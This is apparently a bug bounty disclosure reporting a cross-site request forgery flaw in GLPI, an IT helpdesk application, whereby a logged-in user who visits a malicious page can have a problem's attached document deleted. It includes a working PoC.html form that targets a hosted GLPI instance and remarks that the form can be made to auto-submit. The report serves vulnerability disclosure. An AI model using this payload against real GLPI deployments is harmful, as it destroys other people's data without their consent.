Cross-Site Request Forgery (CSRF) in glpi-project/glpi

Valid

Reported on

Aug 5th 2021


✍️ Description

Attacker able to delete any document from Processing problem with CSRF attack because there is any CSRF protection for related endpoint.

It does not matter at all that your application run in localhost or elsewhere, just it is enough to run on a browser and another low privilege user or attackers know the IP address or hostname of your application.

In CSRF attacks it is necessary that a user logged into your application just going to a malicious website and after that only with a redirection attacker can delete a Processing problem document, this means only with visiting a site a Processing problem document will be deleted.

🕵️‍♂️ Proof of Concept

1.fisrt user already should be logged in In Firefox or safari.

2.Open the PoC.html and click on submit button ( Also it can be auto-submit)

3.Here Processing problem document with id 6 from problem id equal to 1 will be deleted after clicking on submit button on PoC.html file.

// PoC.html

<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://nocompany.with7.glpi-network.cloud/front/problem.form.php">
<input type="hidden" name="delete&#95;document" value="" />
<input type="hidden" name="documents&#95;id" value="6" />
<input type="hidden" name="problems&#95;id" value="1" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>

Also for real attacks the submit button can be auto-submit.

💥 Impact

This vulnerability is capable of delete any Processing problem document.
